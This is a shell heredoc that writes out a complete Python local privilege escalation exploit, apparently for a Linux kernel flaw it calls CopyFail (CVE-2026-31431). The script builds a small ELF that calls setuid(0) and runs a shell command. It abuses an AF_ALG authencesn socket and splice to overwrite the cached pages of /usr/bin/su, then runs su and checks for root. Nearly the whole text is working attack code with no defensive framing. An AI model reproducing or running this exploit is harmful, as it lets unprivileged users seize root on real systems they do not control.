1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178
| cat > /tmp/copyfail_exploit.py << 'PYEOF'
"""CopyFail (CVE-2026-31431) Local Privilege Escalation Exploit.""" import os import socket import argparse from struct import pack
def make_payload(cmd=b"id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt"): """构造最小化 ELF:setuid(0) + execve(cmd)""" BASE = 0x400000 EHDR_SIZE = 64 PHDR_SIZE = 56 ENTRY_OFF = EHDR_SIZE + PHDR_SIZE ENTRY = BASE + ENTRY_OFF
code = bytearray()
code += bytes.fromhex("31ff") code += b"\xb8" + pack("<I", 105) code += bytes.fromhex("0f05")
mov_rdi_pos = len(code) code += b"\x48\xbf" + b"\x00" * 8 mov_rsi_pos = len(code) code += b"\x48\xbe" + b"\x00" * 8 code += bytes.fromhex("31d2") code += b"\xb8" + pack("<I", 59) code += bytes.fromhex("0f05")
code += bytes.fromhex("31ff") code += b"\xb8" + pack("<I", 60) code += bytes.fromhex("0f05")
data_off = ENTRY_OFF + len(code) binsh_off = data_off strings = b"/bin/sh\x00" dashc_off = binsh_off + len(strings) strings += b"-c\x00" cmd_off = binsh_off + len(strings) strings += cmd + b"\x00" argv_off = binsh_off + len(strings) pad = (8 - (argv_off % 8)) % 8 strings += b"\x00" * pad argv_off += pad
argv = pack("<QQQQ", BASE + binsh_off, BASE + dashc_off, BASE + cmd_off, 0) body = bytearray(code + strings + argv) body[mov_rdi_pos + 2:mov_rdi_pos + 10] = pack("<Q", BASE + binsh_off) body[mov_rsi_pos + 2:mov_rsi_pos + 10] = pack("<Q", BASE + argv_off)
filesize = ENTRY_OFF + len(body)
ehdr = b"".join([ b"\x7fELF", b"\x02", b"\x01", b"\x01", b"\x00" * 9, pack("<H", 2), pack("<H", 0x3e), pack("<I", 1), pack("<Q", ENTRY), pack("<Q", EHDR_SIZE), pack("<Q", 0), pack("<I", 0), pack("<H", EHDR_SIZE), pack("<H", PHDR_SIZE), pack("<H", 1), pack("<H", 0), pack("<H", 0), pack("<H", 0), ])
phdr = b"".join([ pack("<I", 1), pack("<I", 5), pack("<Q", 0), pack("<Q", BASE), pack("<Q", BASE), pack("<Q", filesize), pack("<Q", filesize), pack("<Q", 0x1000), ])
return ehdr + phdr + body
def overwrite_4_bytes(target_fd, target_offset, chunk): """通过 AF_ALG/authencesn 向页缓存写入 4 字节""" a = socket.socket(38, 5, 0) a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
SOL_ALG = 279 a.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64)) a.setsockopt(SOL_ALG, 5, None, 4)
op, _ = a.accept()
op.sendmsg( [b"A" * 4 + chunk], [ (SOL_ALG, 3, b"\x00" * 4), (SOL_ALG, 2, b"\x10" + b"\x00" * 19), (SOL_ALG, 4, b"\x08" + b"\x00" * 3), ], 32768 # MSG_MORE )
r, w = os.pipe() splice_len = target_offset + 4 os.splice(target_fd, w, splice_len, offset_src=0) os.splice(r, op.fileno(), splice_len)
try: op.recv(8 + target_offset) except: pass
os.close(r) os.close(w) op.close() a.close()
def main(): parser = argparse.ArgumentParser(description="CopyFail CVE-2026-31431 LPE Exploit") parser.add_argument("-c", "--cmd", default="id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt", help="Command to run as root") args = parser.parse_args()
if "\x00" in args.cmd: raise ValueError("Command cannot contain null bytes")
print("=" * 60) print(" CopyFail (CVE-2026-31431) LPE Exploit") print(" Target: /usr/bin/su") print("=" * 60) print(f"[*] Command to run as root: {args.cmd}")
target = "/usr/bin/su" print(f"[*] Target binary: {target}")
print("[*] Checking AF_ALG availability...") try: s = socket.socket(38, socket.SOCK_SEQPACKET, 0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.close() print("[+] authencesn(hmac(sha256),cbc(aes)) is available") except Exception as e: print(f"[!] authencesn not available: {e}") exit(1)
print("[*] Building ELF payload...") payload = make_payload(args.cmd.encode()) print(f"[+] Payload size: {len(payload)} bytes")
fd = os.open(target, os.O_RDONLY) print(f"[*] Opened {target} (fd={fd}, O_RDONLY)")
print(f"[*] Overwriting page cache, {len(payload)} bytes ({len(payload) // 4} iterations)...")
i = 0 while i < len(payload): chunk = payload[i:i + 4] if len(chunk) < 4: chunk = chunk + b"\x00" * (4 - len(chunk)) overwrite_4_bytes(fd, i, chunk) if i % 40 == 0: print(f" [{i}/{len(payload)}] bytes written...") i += 4
print(f"[+] All {len(payload)} bytes written to page cache") os.close(fd)
print("[*] Executing patched /usr/bin/su...") os.system("/usr/bin/su")
print() print("[*] Checking result...") if os.path.exists("/tmp/pwned.txt"): with open("/tmp/pwned.txt") as f: content = f.read() print(f"[+] /tmp/pwned.txt content: {content.strip()}") if "uid=0" in content: print() print("=" * 60) print(" EXPLOIT SUCCESSFUL - Got root!") print("=" * 60)
if __name__ == "__main__": main() PYEOF
|